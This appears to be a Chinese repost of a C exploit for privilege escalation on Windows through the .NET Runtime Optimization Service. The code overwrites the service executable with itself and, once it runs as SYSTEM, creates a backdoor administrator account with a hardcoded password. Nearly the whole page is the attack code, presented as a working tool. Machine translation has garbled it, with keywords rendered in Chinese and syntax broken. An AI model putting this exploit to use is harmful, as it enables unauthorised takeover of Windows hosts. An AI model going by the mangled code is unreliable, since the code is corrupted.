.net 提权0day,通杀win系列
/ *
#利用标题:NET运行时优化服务权限提升
#日期:2011年3月7日
#作者:XenoMuta <xenomuta@tuxfamily.org>
#版本:V2.0.50727
#测试:2003 R2中的Windows XP(SP3),,7
#漏洞:N / A
_ __ __ __
| | / / ___ ____ / | / / _ __ / /_____ -
| / _ \ / __ \ / __ \ / / | _ / / / / / __ / __`/
/ / ... / / / / / _ / / / / / / _ / / / _ / / _ / /
/_/|_ \ ___/_/ / _ / \ ____/_/ / _ / \ __,_/ \ __ / \ __,_/
xenomuta [在] tuxfamily.org
xenomuta [AT] gmail.com
http://xenomuta.tuxfamily.org/ - Methylxantina 256mg
这其中的一个没有脑子,朴素简单:
这项服务的EXE文件可以通过任何非管理员的域用户覆盖
和当地的电力用户(这是默认的权限设置)。
这个漏洞编译成一个服务,使用原来的服务的ID。
测试在Windows 2003,WINXP(SP3)和Win7
(我的猜测是,它运行此服务的任何赢得运行)。
fr1t0l4y L.加雷,siriguillo c0ff33 br34k t34m感谢!
祝福y'all!
* /
#包括<stdio.h>
#包括<windows.h>
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;
#定义PWN_EXE“C:\ \ WINDOWS \ \ Microsoft.NET \ \框架\ \ V2.0.50727 \ \ mscorsvw.exe”
#定义PWN_SHORT“mscorsvw.exe”
#定义PWN_NAME“。NET运行时优化服务v2.0.50727_X86”
#定义PWN_ID“clr_optimization_v2.0.50727_32”
无效 的ServiceMain ( INT ARGC的 char ** argv的) {
(InitService()){
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus,ServiceStatus);
回归 ;
}
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(hStatus,ServiceStatus);
}
无效 ControlHandler(DWORD请求);
InitService INT();
INT主要(INT ARGC,字符 ** ARGV){
字符 acUserName [100];
DWORD n用户名= SIZEOF(acUserName);
GetUserName(acUserName,&n用户名);
如果(STRCMP((CHAR *)&acUserName,“SYSTEM” )){
CHAR * STR =(CHAR *)malloc的(2048);
memset的(STR,0,2048);
的snprintf(STR,2048, “%s.bak”,PWN_EXE);
(重命名(PWN_EXE,STR)= 0){
fprintf(STDERR, “:(对不起,不能写入文件\ N”);
退出(1);
}
的CopyFile(ARGV [0],PWN_EXE,0);
的snprintf(STR,2048,“NET START \”%S \“2> NUL> NUL”,PWN_NAME);
printf的(“\ N>:应该已经创建了一个\ n \ N用户名:\ tServiceHelper \ N密码:\ tILov3Coff33 \ N \ N”);
系统(STR);
}
SERVICE_TABLE_ENTRY ServiceTable的[2];
ServiceTable的[0] lpServiceName = PWN_ID;
ServiceTable的[0] = lpServiceProc(LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable的[1] lpServiceName = NULL;
ServiceTable的[1] lpServiceProc = NULL;
StartServiceCtrlDispatcher(ServiceTable的);
返回 0;
}
INT InitService(){
系统(“CMD / C网用户ServiceHelper ILov3Coff33 /加上&ServiceHelper /添加的net localgroup管理员!”);
}
上一篇:全球ip分配表